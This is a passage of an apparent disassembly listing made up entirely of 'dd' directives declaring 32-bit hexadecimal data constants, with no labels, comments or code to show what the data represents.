		dd 0D658E260h, 1EE6F52Dh, 0C11FDB91h, 12DDFA17h, 35A83013h
		dd 324620h, 0A7C81D52h,	3A54C9F8h, 8FAA1100h, 0CF236689h
		dd 0ABAC0125h, 9BB3F793h, 13B07069h, 2BC54100h,	20A1FD34h
		dd 0E878188Bh, 2812102Eh, 610CAF04h, 0B8C0D8C5h, 26AD3E08h
		dd 3BEB6Ah, 575B7E4h, 0EA3D6B83h, 1548136h, 0CD9BDF91h
		dd 58C33080h, 9F74EDE2h, 841CDB00h, 9B5D9916h, 40F04851h
		dd 0DF20AC00h, 3A2FF817h, 714C7358h, 0D9599000h, 3D023B64h
		dd 0DBF8A8A6h, 30F131Bh, 0B7D8004Bh, 3CDE2917h,	0FECA7102h
		dd 60A5C1E8h, 5F205A4h,	0EC512DBCh, 0BAA000BFh,	552B118Eh
		dd 3D489801h, 0E880DCFAh, 0B0D39ED1h, 0C049318h, 65FC56BFh
		dd 2100C111h, 5AD71A59h, 0BAB1B3Eh, 7C8E5578h, 0CA61E08Fh
		dd 643D4CF4h, 58B83F38h, 530FC3Ch, 7F8F10FDh, 272C2C90h
		dd 3D2A30B7h, 20020911h, 7448F118h, 98F3F458h, 0A4130300h
		dd 85554904h, 106E2803h, 0E12770BDh, 5834AD8Eh,	995B1788h
		dd 842B00AEh, 6C20A7Ch,	478D5C01h, 530CBD11h, 9AB30h, 42FC3D6Eh
		dd 0EA6C51C8h, 0BFE6E91Dh, 0BC2B7944h, 0D8FEEC83h, 9F03346h
		dd 0B72027B9h, 95531000h, 0BE0026A8h, 0A0344FF6h, 0B9D404h
		dd 0A12B2D23h, 0FB3CD6CAh, 1A168518h, 47C1F6h, 0C07CF544h
		dd 0FA3DC72h, 0ECA73B00h, 0D8A0E2B3h, 2B7E58F9h, 23F02C00h
		dd 20B5581Ah, 54857F4h,	3B6501E0h, 8DFCC6D0h, 4C6797FCh
		dd 8C406E7Fh, 2930073h,	0D4992488h, 0A5FCB2BAh,	0DAA92B0Eh
		dd 586AE14Dh, 3C207569h, 166D0056h, 0EAE027C1h,	0CA07CECFh
		dd 0CD4578E5h, 94286BE0h, 756E2EF7h, 9A6F0074h,	0DA700D26h
		dd 798B0E00h, 60D666D0h, 0B7643C7Dh, 10940C80h,	52278815h
		dd 51901F50h, 74455003h, 888EF676h, 3844080Bh, 87BD4AA8h
		dd 26107AA4h, 0A589034Ch, 10014103h, 139A5640h,	0CA30FA01h
		dd 38BF592Dh, 0E7389675h, 80F344E6h, 96C255Ch, 0C300C8F0h
		dd 3DA05851h, 2BC7D2h, 0F35471AFh, 0D87A8862h, 480E5007h
		dd 0D6A03A75h, 12738429h, 0B8D1B0h, 7E2B61CDh, 30E9845h
		dd 0E87CBFh
		dd 0C12919A9h, 0B9EF00CCh, 8B0C5894h, 23509956h, 0CD750AE0h
		dd 9C4F8D00h, 0DBB1115Ch, 3CEB0B24h, 1807256Bh,	0DAD3F0EAh
		dd 9004F8Fh, 0EDDE95F4h, 487F518Eh, 0C3008CDBh,	6A8CE826h
		dd 7B0186BEh, 20AD8D3Ch, 10709406h, 0F13FA56h, 419D0CD8h
		dd 35875941h, 0EBF45083h, 8D005F76h, 524544F1h,	5C0DACF7h
		dd 490414ECh, 0B4A39280h, 0DD005E94h, 0A30E2BBh, 43A6D9h
		dd 0F5455D07h, 3A9582EEh, 84BE3850h, 2575BEEAh,	82B00228h
		dd 9E006B7Dh, 4D2B298Eh, 4CD467A1h, 70C910FBh, 2F14C820h
		dd 0C403D981h, 62C999A6h, 0A06E8106h, 0B53830h,	0A1A396E1h
		dd 67533488h, 79EF41Eh,	8A0B5700h, 547C51h, 6D6F3B0Ah
		dd 0EFCBECF1h, 11F38B02h, 80BDF6D4h, 7C8766DFh,	0F9DF6D2h
		dd 0A154D0ADh, 464FB720h, 0C0383277h, 0B8A500DBh, 99496627h
		dd 0E8C400F9h, 437FC8CFh, 0E700FA16h, 8348FF33h, 79D49051h
		dd 0F19E002Eh, 1AC9D875h, 0D60298FCh, 0D9EC36B6h, 0A6C0C073h
		dd 18E695h, 0D10C659Fh,	4F1A2FF9h, 4455982Ch, 60888C9Ah
		dd 0ECAFD44h, 1802CB77h, 9FD16480h, 0B6FA9A2Eh,	0E80339h
		dd 6172AD93h, 18603DE5h, 711FEBE6h, 0A803EEC2h,	3F81E3FAh
		dd 4292A003h, 27942EEFh, 57C380A8h, 0C83639D5h,	5B89D8E3h
		dd 0E559B803h, 3C7EAEh,	8EB6DE50h, 0B4FBD739h, 71879400h
		dd 11D91A51h, 0E198004Dh, 0DE9CA5DCh, 18781447h, 8A041C00h
		dd 71CCCAACh, 0ABBB1F4Dh, 0BC5B877Fh, 53F7B02Eh, 770028F3h
		dd 92F6B10Ch, 1ED64325h, 0DED9E1E2h, 3D2DC047h,	1791F197h
		dd 3F4E7100h, 0DFF8BD14h, 0DB430062h, 0DF76768h, 0B100B076h
		dd 13AAF6EDh, 34E854Ch,	430EF412h, 0ABF8A6B4h, 0FD13B504h
		dd 5000F9CFh, 6085B640h, 980EFCCBh, 2029482Dh, 5B1EB900h
		dd 0E899E957h, 10F343Eh, 3F021436h, 4613784h, 174BB3DCh
		dd 0CCDE46h, 0BE7A26AFh, 870C7913h, 5901D0E2h, 195D005Ah
		dd 0B870EB57h, 9D00C16Ch, 6B497534h, 2CA69167h,	80445181h
		dd 0DE98295h, 2C3E43D4h, 25F6DC9Dh, 529683B6h, 0FEE5801Ah
		dd 0E03401A5h, 0B3E9CA13h, 0AB97D89Fh, 0CF6A2F00h, 798827B5h
		dd 0EA0DFE0Fh, 9D9C12EFh, 42FCC048h, 0D64C08FFh, 0D1C70055h
		dd 0A064D866h, 8D750779h, 8732C409h, 0FBEB8150h, 3980CF71h
		dd 0E0004307h, 46D9CBAEh, 0E1F66Dh, 0B31F5ABAh,	8FB1084Dh
		dd 4FA8D001h, 34AB2FFh,	4CEDA9FCh, 0E4261306h, 285500B8h
		dd 2FCE44B1h, 0B60D78A0h, 7220191Dh, 500F591Fh,	740FE3E1h
		dd 0D01BF0F5h, 0FEDA0312h, 9E2EF76Ah, 0EE649902h, 50089840h
		dd 8E9C28E0h, 0A9C60770h, 2EC1092Fh, 6DCB0581h,	0CA384002h
		dd 8260C98Ah, 9944E148h, 1E337CA5h, 0C086FA89h,	94CF88CDh
		dd 640FFFAEh, 400851E4h, 0C523767Ch, 0DCDA0318h, 1573F713h
		dd 0F6BD86B8h, 0BE5C48h, 3AA5AC57h, 70C62EC3h, 0F93E0116h
		dd 670C35D5h, 1FADC824h, 8D46FE1Ch, 14526100h, 0CCB32E3h
		dd 5CF7D709h, 50E55A0h,	805F423Bh, 0B176D8D1h, 0B3D00CAh
		dd 49AF210Eh, 0A01EAA36h, 2CC16508h, 1F8D355h, 1791D0C8h
		dd 64860Ah, 99AC1A40h, 29F082F4h, 6CA07300h, 1B2958Bh
		dd 6B100AFh, 0F72C2065h, 1100CAA5h, 3E997E7Ah, 777B80h
		dd 6F71C279h, 37ACF116h, 7F5C3A09h, 704900CCh, 49F5E3h
		dd 0FF1CFCA1h, 99CF9A1Fh, 11CD1E07h, 44B07982h,	19DC520h
		dd 52AE7E15h, 0F8C46A28h, 0D90F138Ah, 26DC04h, 8343AF07h
		dd 57EC179Eh, 44C70A4Fh, 23FB05D4h, 0F7C000E3h,	55E5AE96h
		dd 0D699EC00h, 5DF44D8Dh, 0CD1B0AB3h, 101433C4h, 0C2F8B92h
		dd 8441287Ch, 42E9D022h, 44AC3D0Eh, 93228435h, 0AF8A22E6h
		dd 79FB5931h, 7013B2B9h, 472648E4h, 0CE29CDADh,	89EB8210h
		dd 732841E2h, 107112FEh, 9E88EF0Dh, 0D17288ACh,	50176589h
		dd 1CF19A5Ah, 530112FAh, 80B6384Bh, 0B3309341h,	0D0910042h
		dd 69A7682Eh, 980BC525h, 74C2B865h, 311D0304h, 0C3805357h
		dd 0B671CC63h, 0C8785Ch, 166855C7h, 719D56Ah, 5A7B1F99h
		dd 8D3240BAh, 42C9B48h,	5B0326A3h, 0B88C80D2h, 0FDC6D939h
		dd 21C9160h, 2729D168h,	0DC70E25Fh, 1ADA9900h, 6D055476h
		dd 3EAD7F70h, 6A007CEAh, 0E9295298h, 3305D43Bh,	8B35A905h
		dd 0ADDD4C80h, 6BD200CEh, 6147E53Ch, 80003D1Bh,	0FBABF7Eh
		dd 901D79C5h, 22AB06FCh, 28341977h, 0AE238409h,	3860E593h
		dd 11F36318h, 8D00B5F6h, 0AB37163Fh, 0F65DCC4Ch, 6D8100FEh
		dd 0ECBF6BC1h, 0F600974Ah, 17BBE935h, 18DA91B8h, 68F8D5CFh
		dd 0EB1831F2h, 10117506h, 7237B3Ch, 0D3D62FDFh,	98807F0Eh
		dd 5A2411CEh, 6C349100h, 68A9B855h, 2C860299h, 0CC193EADh
		dd 0ACD9F843h, 1C2C74D6h, 75A64100h, 0CDFD6C39h, 3FD80BCCh
		dd 42383E9h, 34A04E74h,	0CA00C4D1h, 580A03A6h, 0B6879F1Ch
		dd 0B9F207A8h, 5910B081h, 7A005CB8h, 0E3950557h, 12048512h
		dd 23773Fh, 64AB80DFh, 481DD347h, 7FCFD55h, 0F3260C37h
		dd 0B8A405B3h, 0D41F65h, 3B7ADFE3h, 9044CC81h, 98AFA23Eh
		dd 711A439Ch, 687B0748h, 90450CE1h, 273B19C3h, 0A08750CEh
		dd 60314017h, 530008Fh,	8369BE59h, 5C3966C6h, 397B80B1h
		dd 0CEEC4280h, 33C7CDFh, 1DDCB0A2h, 80C4B35Eh, 14092178h
		dd 0ADE28B00h, 0B2123B0Fh, 4ECC00EFh, 0A98A384h, 69071C2Eh
		dd 0FD72D6D4h, 61E0D1E7h, 2EC2A805h, 4901A85h, 0C0438283h
		dd 3756FF30h, 0C0FC7F2h, 0F6B50AD8h, 0F007F040h, 7750DC2h
		dd 73DCC6CCh, 0A52021BDh, 0B395EC02h, 98EAD500h, 93B07A3Ch
		dd 6EB51DDEh, 777D284h,	3F7653A4h, 33E070EEh, 491AC5F1h
		dd 0BF8D0D01h, 0FE3F23B9h, 0B337D0h, 6F54ABACh,	7F8A7001h
		dd 0EC706496h, 0A3BF3D6Dh, 0FA180900h, 0E6F072Eh, 69D84800h
		dd 118C0C2Fh, 7E96008Ah, 18F2B73Bh, 0EF00CB93h,	73DAFCFDh
		dd 3D4CAC01h, 8109DE25h, 20897E0Fh, 0C0D9CA0h, 0BF002AB6h
		dd 7C2DF048h, 30BBE51h,	0C6532CA3h, 0A802A7FAh,	7EA6D301h
		dd 10B8F046h, 0A1733D25h, 0F9ECA023h, 0CD3B008Fh, 0C365254Dh
		dd 2A657E37h, 0D1C1DED0h, 6420E6A9h, 9B7D0378h,	0A1E18BE5h
		dd 4B6AAFE0h, 20840602h, 40D204A0h, 43C71Fh, 0C06F292Fh
		dd 5E48F5C4h, 5C004D5Bh, 0A383908Fh, 0CED107D8h, 0E0E0CBF9h
		dd 0BE2C8552h, 685D1C00h, 626B9E03h, 5C18001Bh,	0C760E7FAh
		dd 16000999h, 0EA9A56Fh, 0D53880h, 5294FC67h, 5FC169DBh
		dd 28405Ch, 388C056Eh, 0E6BF8F16h, 2CB4040Ch, 0B8E8B1FDh
		dd 7EF00044h, 7013B963h, 733403ABh, 0C7C3D637h,	6BCCF9B8h
		dd 6EBACE1Eh, 0A0C239CFh, 4713A663h, 81335864h,	0D8A99F00h
		dd 3B1A40BEh, 0FC452900h, 6773B7C5h, 822401DCh,	5A205F9Ah
		dd 0FA3DC8E7h, 9809A25Ah, 0E0E800EAh, 4170B95h,	0A0DBC8Ah
		dd 18A8A3h, 0B9DF6753h,	0E28438E2h, 0D4A9242Bh,	0AE07009Ah
		dd 308587F3h, 109259h, 0B1390A6Fh, 90DE6Eh, 240F93BBh
		dd 0D35B3DB2h, 0A93F8100h, 0E9EFD53h, 6D2212E9h, 99E80CB6h
		dd 8B002541h, 9ED64151h, 0D8E1DDh, 1B484D11h, 0B2F4E752h
		dd 87BBC639h, 0A36BDFEh, 0A809F840h, 55EA304Dh,	15BA1790h
		dd 878FB000h, 0B116EE37h, 3B7EAAh, 1DDBF8FCh, 0EDD60224h
		dd 40C26925h, 0CBE464h,	0B9E1A14Bh, 59929C87h, 8F076C90h
		dd 0D7D36746h, 0D51509A3h, 0A4073CC0h, 0AD200016h, 0D6FC051Dh
		dd 0ED7903A3h, 89153003h
		dd 0E8A42522h, 0ACA81Ah, 4E6C60AAh, 8A947FE5h, 5F07D48h
		dd 3C15A743h, 9505F8B6h, 0BE40F8h, 1B102C8h, 9290E9A0h
		dd 13277CA0h, 5CC65F26h, 34E68D00h, 3505C24h, 0C6A69FFh
		dd 0E5E91452h, 9682CC49h, 3A23ED00h, 0B05EF946h, 0DC370C80h
		dd 931169D0h, 6F2B1500h, 673851DEh, 94070082h, 0F3052B6h
		dd 6D148B65h, 8453E2h, 0E758AEF6h, 71216Bh, 7DBA1340h
		dd 3EBED131h, 78D42459h, 0EC9848h, 2C522C0h, 51B1A3DFh
		dd 0D9C9F0C3h, 164FF9E8h, 1AA931Bh, 19DB08FCh, 3C5C602Fh
		dd 0CDCC29C1h, 16108D81h, 0DD7EC1D9h, 85748095h, 31D89A75h
		dd 19985749h, 5404F41Fh, 4AF66E00h, 0DF4E27A2h,	0C02C0041h
		dd 2BACD8ABh, 39000532h, 0D4845778h, 17C53B70h,	73AECEh
		dd 0BE74B394h, 28CE89A4h, 2FA822C1h, 0E3DC6171h, 1E42A60h
		dd 91FC9498h, 80B942FAh, 55A58B28h, 0C158E5h, 2CD897Dh
		dd 0E95969B7h, 38965C3Dh, 0CA68A84Bh, 0DA7AD800h, 86360BD7h
		dd 0E72B12A3h, 0C1B05645h, 80CE1274h, 1020EBD8h, 79F2C9B5h
		dd 318987Bh, 8074E48Bh,	1EBD6BE6h, 762985EFh, 5DA5803Ch
		dd 0B1006515h, 7A9AA375h, 174A205h, 3D68410h, 0E8060CC0h
		dd 1700C2DEh, 70B79542h, 56EFACh, 0A215A0F4h, 4A4C28A8h
		dd 8875C700h, 0EC2DB4F8h, 0F6201C8Ch, 0DF1A8030h, 31C554F5h
		dd 32756D00h, 8403AFF7h, 2866009Eh, 9C4F9A55h, 4300B6FDh
		dd 58959940h, 1623F5h, 390B9894h, 0AE3CA7A9h, 3A306C02h
		dd 74878ED4h, 0C54600A4h, 85358290h, 42EBE827h,	0D29400ACh
		dd 487D6417h, 0F40E9849h, 0A523D087h, 27F01834h, 6EE6651h
		dd 0EA96DD01h, 0D9C1CC0h, 7F4FCE4h, 0CE2BC28Ah,	0BD3B0332h
		dd 25C148h, 0F49124Eh, 48E5E4h,	78B589C7h, 25C7C28h, 791FAA00h
		dd 0C0D53974h, 0C57EF4h, 7C36AABh, 111D8F5Ch, 83B5583Bh
		dd 819DF1E8h, 22C00047h, 0D692E30Eh, 0BC1CFDBBh, 7DD35BB5h
		dd 0EE769401h, 6470FEF1h, 0F5FAB9h, 0A3F35AB6h,	0AE27470h
		dd 7E1D4F02h, 7297730Fh, 9950740h, 24BD0B87h, 1CED4Ch
		dd 0E15B7815h, 1811598Dh, 803A218Fh, 52007A53h,	0D394D270h
		dd 587951h, 0E19C4171h,	0BBFE5747h, 1F003272h, 0DB737B55h
		dd 3CD8037h, 3B33128Dh,	0B6C8D20Dh, 0DF02206Ah,	7883C823h
		dd 0DE00D9D4h, 0A6552E21h, 9EF46034h, 3877EECFh, 0D47C7300h
		dd 1D0C10DCh, 2E5B1384h, 5CC0833Fh, 0D8E0FB87h,	0E7006A82h
		dd 0A71BAFAh, 0BE56E7Ah, 0D926525Bh, 4A379003h,	1C97FAD0h
		dd 0B9F99224h, 80B78B0Bh, 0ED52E038h, 426A00B0h, 0ACD57793h
		dd 82B8D4C7h, 786BEE00h, 364ED75Ch, 0FC144832h,	0E3434804h
		dd 26218013h, 0B93EB03Dh, 6F630091h, 0F5CB1A88h, 3CF93090h
		dd 62DEFA8h, 0FCB77303h, 0B7A53528h, 7704A7E0h,	0C63200C0h
		dd 0CE39C65h, 3048D64h,	1DD2B490h, 8C404CA8h, 4041004Ch
		dd 1905EEC3h, 7B48EA92h, 47E30B88h, 0B8201035h,	150E779Dh
		dd 8C64DDCFh, 8B157F00h, 0B53D0F99h, 0C0011A71h, 71ECB819h
		dd 642CE460h, 0B71F8100h, 0B4F34EBh, 0E283005h,	0ECC00F4Ch
		dd 96B2BDE2h, 80941E08h, 5D01D320h, 13123E84h, 28427043h
		dd 40817A1Ah, 124859E7h, 0D2C6CBh, 0A3EF560h, 52FCC20h
		dd 40E407D0h, 79ABF410h, 4DAC075Eh, 9747EB6Ch, 6E75F0F0h
		dd 1C0F51F8h, 0E02CF3FEh, 9E24D30Ah, 0E82B4D8Ch, 3F6B13h
		dd 62415E84h, 3E007981h, 53EB4F59h, 3E1A20Eh, 52B97C9Fh
		dd 0A224D76Ah, 2E01A846h, 0DDFFD8DFh, 7A20403Fh, 0A770866Fh
		dd 3CE9600h, 72228B8Fh,	0F4B338D2h, 840028C0h, 0AD39EA04h
		dd 2C10FA1h, 644A792Eh,	0C0E8F996h, 0EE0004A4h,	811D58B5h
		dd 0E42AA2A7h, 0AF4B00DAh, 0D6FA010Ch, 0B1032829h, 88039D21h
		dd 0CD76A069h, 938D0008h, 0AF73BC34h, 0DCA01B8Ah, 0B71EF89Ch
		dd 7C809B5Ah, 0D2891469h, 68980Bh, 349D4CE3h, 0FE9B11E8h
		dd 79F0B65Ch, 4B2EA516h, 82BD9A03h, 760BC29Ch, 0B6550130h
		dd 204E6B24h, 0FF248B48h, 0FE8310BEh, 0E4D0C649h, 0A98FCA80h
		dd 868D6516h, 32EC4383h, 0DC88CBE8h, 0E8FF6F4Ah, 4858E2E4h
		dd 0F600796Ch, 0A9D7F8D3h, 1F376C4h, 7AD933D1h,	0EDA2035Ch
		dd 16F07035h, 1580748h,	85E564D4h, 0D4303C44h, 41064C21h
		dd 1050B401h, 0FCB5A19Fh, 26001458h, 0D9EABFCAh, 12595DCFh
		dd 50282C9h, 0C02DF148h, 436FB4F1h, 262B4512h, 0F74F0h
		dd 0C63BDDCh, 18558880h, 4064352Dh, 15CA4D18h, 0F862E6E2h
		dd 0A7957800h, 61FC56C7h, 2EA0484Ch, 381CC0C2h,	513E054Bh
		dd 86A10088h, 2D631E0h,	109BD917h, 76282C40h, 1933CBh
		dd 0BB57ED3Dh, 0B61BAE49h, 200085E4h, 0A62709A7h, 3CC7A8FEh
		dd 0B15C44DAh, 5B83E506h, 320BD1AAh, 0E00D2B38h, 0F03BDDB4h
		dd 0C63500FFh, 16AC826Dh, 370F710Eh, 1C9EABA4h,	934D76C0h
		dd 0E7F4D6h, 610F105Fh,	0C51A96CCh, 4990C707h, 39E0029Eh
		dd 0DAFA7h, 96DE30D3h, 8A8EA15Eh, 56111509h, 10480098h
		dd 7FA83Ch, 121327A3h, 52B8FE9Ah, 0BD832E04h, 208047ABh
		dd 74FA4Ah, 1928F235h, 1B808849h, 0B7CB809h, 341F8031h
		dd 0E8575A5h, 18A8F60Eh, 27946BA0h, 363D8D20h, 7EA380B1h
		dd 786F4443h, 0AF5D240Bh, 0B4F0049Ch, 819CA85Bh, 1B1DA538h
		dd 1185430h, 0F9F69DE6h, 0F780D626h, 0D2A9A49Bh, 6F0E6A55h
		dd 0DAAB29B7h, 1C030014h, 69542453h, 3702C2FCh,	9916A821h
		dd 4D07446h, 0A0AFB3ADh, 2A028154h, 0A35B1EB2h,	11004040h
		dd 0B7041C10h, 0C7FA802Dh, 0D7C661F3h, 80D0554Bh, 4F22E0DEh
		dd 41289223h, 4E627D00h, 0BECB0054h, 86336018h,	4D003FA2h
		dd 953A059Ah, 1902546h,	8A1A846Dh, 0FC211817h, 0C10022F5h
		dd 27C0BD0Dh, 0E8AAC8h,	7EBCFB3Dh, 13A76967h, 0E4F31A00h
		dd 0C1B7C216h, 44D9077Bh, 60CA8E71h, 1D109C4Ch,	0EB26730Eh
		dd 0B5380072h, 80187Dh,	0DBDEFE1h, 754507E6h, 128E641Dh
		dd 0BEC280FEh, 917BD2DCh, 0E17A00C7h, 0FF6D10F2h, 3D0005AAh
		dd 5FC496DBh, 9065EAE5h, 845B00A1h, 0EE9E4720h,	0BD241D02h
		dd 3C03941Bh, 0C0724228h, 5CB801FDh, 0FF3AD931h, 7B211603h
		dd 2887C8Fh, 44000D11h,	0EE944C8Eh, 82E459h, 0E337E10Eh
		dd 0E68DC607h, 40565403h, 1EA89FFh, 732E9E88h, 80EB5A51h
		dd 0CD88C710h, 7474FE15h, 1F47479h, 4D565053h, 7F5BCD8h
		dd 0B0F9DF63h, 357275Eh, 430364EBh, 0A6D0256Fh,	0B80FC889h
		dd 37E68DDh, 0FD4FD308h, 0A07F7180h, 8632011Ch,	0A77904EDh
		dd 1BCC4028h, 7800ECFEh, 2C8AC81h, 5D6CAABh, 4DDEDC27h
		dd 0C0AFC039h, 2D3A3023h, 0DF6D80EBh, 0BD06622Fh, 0F51E0307h
		dd 0C831D92h, 0F1284BF8h, 8EE1C833h, 0F002D9E3h, 54EEB760h
		dd 204D076h, 0B237F263h, 0E08F1E46h, 0C77D7120h, 9000C651h
		dd 8E5263DAh, 619769h, 0E4FFC933h, 0F4CABF3Bh, 0A8D93Dh
		dd 47BEF7CDh, 0B04665h,	4CBA5DFBh, 0A6D4B925h, 6A89CF00h
		dd 28FEE84Fh, 0E41C0020h, 0C79E9FA9h, 5600A876h, 25524641h
		dd 2435F395h, 1CCB3FD9h, 0F79B4094h, 7BB8A73Ch,	44734A00h
		dd 2A9EA9C5h, 63F0007Dh, 569B8564h, 3801B9A6h, 846C1D34h
		dd 1820A10Ah, 0D0F438ADh, 668DC380h, 7BD4CA7Fh,	0D5F77400h
		dd 0D19F971Eh, 0F66A0112h, 7AF86FE2h, 1D16D436h, 0ECF1C300h
		dd 4C9A7F72h, 51051C2Eh, 7B52008Dh, 0AF78D043h,	0D4A0A776h
		dd 0DE001184h
		dd 0F3641F2Bh, 86F414h,	0E5C2BCCBh, 1671AE65h, 1D0F5D76h
		dd 0A0C6EFD0h, 0DD4A9CA7h, 1A0E0015h, 9BBB7243h, 0A1003EF6h
		dd 16EB3D0Ch, 24FCF562h, 2C56E6h, 6C4A7224h, 80B880D2h
		dd 7D66AB09h, 20EB80FFh, 6084EE64h, 0DCAA184Ch,	5CEEE12Bh
		dd 0DE063701h, 0C90BC36Bh, 6F54460h, 79A60EEEh,	4F227817h
		dd 7AC1009Ah, 270D4B37h, 57002268h, 0B0037581h,	7D6C0120h
		dd 61622EB4h, 2F7F01C6h, 3B8C650Ah, 0F0710FC0h,	9A1E3B76h
		dd 1849387h, 13146046h,	730E7911h, 600FCD1Bh, 0B4EA2F98h
		dd 8EAD01E7h, 0AC51E943h, 0AFFB707Fh, 6EED1A1Fh, 5F01541Fh
		dd 122EDC02h, 0B5CFE4h,	1D6B6E0h, 67666B74h, 46F2BB01h
		dd 0C588CEBAh, 7D98DF70h, 0BEEF830h, 640C11A4h,	84A03280h
		dd 8600EBA1h, 7FE390C3h, 2D0965h, 43E242B8h, 25DB6133h
		dd 8C732900h, 5FF6A4C2h, 7F8A01D5h, 98781DA6h, 0BB80EF76h
		dd 901B4499h, 1CFCA987h, 515D11h, 0BF397B49h, 40FB082Ch
		dd 0C0F2BDACh, 10E4E812h, 877E5400h, 0B036A2h, 0EE391AA8h
		dd 0BDDFD2Eh, 0AB7BC60Ch, 1810EFh, 1D1EFF6Bh, 72FA4109h
		dd 0F300CE73h, 0B863B753h, 0DCA7F55Bh, 0BA264061h, 0D4ACFA2Ch
		dd 0AE345913h, 87354800h, 0E6704B0h, 0E1C1DD5Eh, 135CB800h
		dd 5D0040BAh, 71A4FB27h, 98338289h, 0C5E7374h, 0CA611CE7h
		dd 0D4007910h, 0C2D1F0A2h, 5809609Fh, 77C14C7h,	8040116Ch
		dd 2A500062h, 813018F3h, 0A57E4914h, 6D7C3Ch, 1693A4EBh
		dd 264EE610h, 0E0C02F79h, 30D582B7h, 4ABE1EB5h,	74267998h
		dd 0EC6B00C4h, 0BF827C6Ah, 0EBCC3200h, 3006AFD5h, 7B89006Eh
		dd 9175C80Bh, 25034A8Fh, 886C1335h, 0D4F6073Ah,	7136D712h
		dd 0F03CA853h, 0C863F37Bh, 0D0DA8ED8h, 1C7C83DBh, 0FFFC7Dh
		dd 6D3A8B78h, 2609B558h, 801BB71Fh, 0BFA88DBCh,	0A6D200F4h
		dd 35A18A81h, 4904AE5Bh, 1A22883Dh, 0AB70E093h,	8FC0F806h
		dd 9A1100D3h, 0E47935B1h, 7F0E6A26h, 0E02F4CB6h, 1BA3849Eh
		dd 415100FDh, 8B2C2387h, 0EF001666h, 358F39BFh,	0A126D090h
		dd 546096DCh, 0D74E3EE7h, 0AFDC2A03h, 0DEF37576h, 0C62FC0E4h
		dd 1B0AF911h, 0A8D4BE84h, 0B08F280Ah, 0EF4008h,	686BDD83h
		dd 0F84E54B3h, 84482EE8h, 0C9227200h, 5F0B9839h, 2F12FF01h
		dd 0AB73414Bh, 1CD478D8h, 0C025CDBAh, 6DFA503Bh, 0E2001560h
		dd 1BCEC208h, 0E6397092h, 0A6F700E8h, 4791B13Dh, 8A072413h
		dd 6F6184B7h, 0BE505DF1h, 93A7460h, 0DC5CE307h,	0CCC0BC8Eh
		dd 89826A9Eh, 9C01DFF2h, 0ACEC9FD3h, 1DC87FD0h,	2C1E243Eh
		dd 5EF48688h, 0A50F38C0h, 0A0024BC6h, 0C88FA3DFh, 0C3B901E4h
		dd 7E5A144Eh, 1D587469h, 0E2F08C00h, 1CB4C595h,	88E33025h
		dd 8459DDF9h, 5F8AC807h, 45F0FA52h, 76B23h, 0C4F2CBA0h
		dd 3FB5EF1Eh, 0ADD0A500h, 20A187B8h, 48950044h,	0C33E4B0Ah
		dd 3124F80Dh, 249EB4AEh, 1C35AB00h, 36A366h, 8D7FCC5Ch
		dd 9575BF17h, 8845E024h, 3B5BBB00h, 1504107h, 68921949h
		dd 205230A3h, 2B00E72Eh, 77609BEBh, 5DF0CAh, 42176C28h
		dd 6234BB3h, 2F3615Ch, 53755E2Eh, 0BD44C09Bh, 45F7DC3h
		dd 84E7FD36h, 183080B1h, 1D00AD45h, 872BBD64h, 370448h
		dd 0CE8CB843h, 6C1B52F2h, 0B3DD8901h, 0AE93D1F7h, 23D1DCCh
		dd 1480A32h, 88C1E452h,	21160DCh, 12898600h, 0F879CEB4h
		dd 0A8CD2639h, 5DA000C1h, 19FC673Eh, 0E49EF306h, 4202CCh
		dd 0D95EBD73h, 1BD08DA0h, 8393230Eh, 0E645A014h, 4EC5A4h
		dd 0F66419E2h, 0DBB9E87Bh, 8DEA4278h, 30D34F00h, 9B3F2544h
		dd 0BED424B4h, 98AA00C4h, 4D3A6A17h, 0CE3E8B01h, 9B2E3BFh
		dd 8000828h, 0F026B798h, 0D301F821h, 846BBCD9h,	0B0C81557h
		dd 320F13F9h, 4C2C4067h, 7599478Eh, 6DC0900h, 0E2C4BAFFh
		dd 8690005Ch, 712793D9h, 0D724C53Bh, 0D88020A6h, 0E96CFABh
		dd 28370776h, 0BAC6B4CAh, 3BC9010h, 953777B6h, 36C2A1BEh
		dd 0EE00CA08h, 1E8F27FEh, 4AA463h, 817EC530h, 27A6C8Dh
		dd 0C0E53978h, 5C002D35h, 0B147C66Fh, 60589681h, 7C29E919h
		dd 0D0076C5Bh, 86421D3Eh, 9C781710h, 0C2020075h, 0F73C4BBFh
		dd 1B055BE0h, 955469DEh, 960F2040h, 3986677h, 0CAEA17E6h
		dd 88E02C44h, 5A00E360h, 7FDA89B5h, 0CBBDDDh, 2B1AC4AAh
		dd 415815BBh, 0BA00A4B8h, 4B65FBFAh, 198B43Bh, 0A7E04032h
		dd 0F4054106h, 1D1CE6BDh, 34C09743h, 422A9A62h,	0EE320045h
		dd 4AF1AE0Bh, 723A66CCh, 7F5C80D9h, 1F375679h, 0BAB0E16h
		dd 3A00D22Bh, 3855823Fh, 6FB2AA04h, 0E080BC57h,	0BE6801h
		dd 9F1F0A3Eh, 42DA6113h, 0C335C600h, 3FF459Dh, 60C43C06h
		dd 38821481h, 0D3FABD4Ch, 0A012879Ch, 0BE6790D5h, 7DE4E100h
		dd 69E83D15h, 707F1D16h, 0E5CD4055h, 37B17EB8h,	560035E8h
		dd 2218D9A8h, 0F4090A2h, 34BF314Dh, 36E4D081h, 521F8D5h
		dd 0AC9808C0h, 8C1CB0h,	83D614BDh, 0C1EDCEE9h, 15A6931Ch
		dd 9EE5FC1h, 9AE8B953h,	11880722h, 5A94AD1Ch, 801D00D6h
		dd 865C269Bh, 0AA15BA00h, 8F58776Fh, 0F17C1C98h, 1945D14h
		dd 5F9AC33Dh, 0D789F0FAh, 0EE9B0100h, 67211ED9h, 0AC8E5FF0h
		dd 5B800F36h, 6DD4601Fh, 14928A41h, 849E95C5h, 2D861800h
		dd 0E99D2247h, 81819F0h, 14C8D28Fh, 6509036Dh, 0BB221E4h
		dd 2F003177h, 78EFF354h, 0EA97CAA9h, 928B30AFh,	7035BD20h
		dd 7B03E900h, 407C57D0h, 0F3E00054h, 23B20B9h, 747CA531h
		dd 0DCACB31Fh, 1B23F700h, 30A326F0h, 0EB08F693h, 6D006654h
		dd 7F9BD022h, 67FB98h, 0A1F961D5h, 26F1EBA5h, 0C46FE800h
		dd 81E9EF5Dh, 7618C01Bh, 4038AC47h, 41203F6Eh, 0F1E9EECDh
		dd 0F098598Dh, 41CE008h, 9F16270Fh, 0A2648777h,	1DD26BE0h
		dd 0BC0716CCh, 304806EAh, 170640EDh, 0EF91F126h, 89510049h
		dd 0B47764E4h, 7033FE87h, 908E5h, 0E4B0AF21h, 0C7C89682h
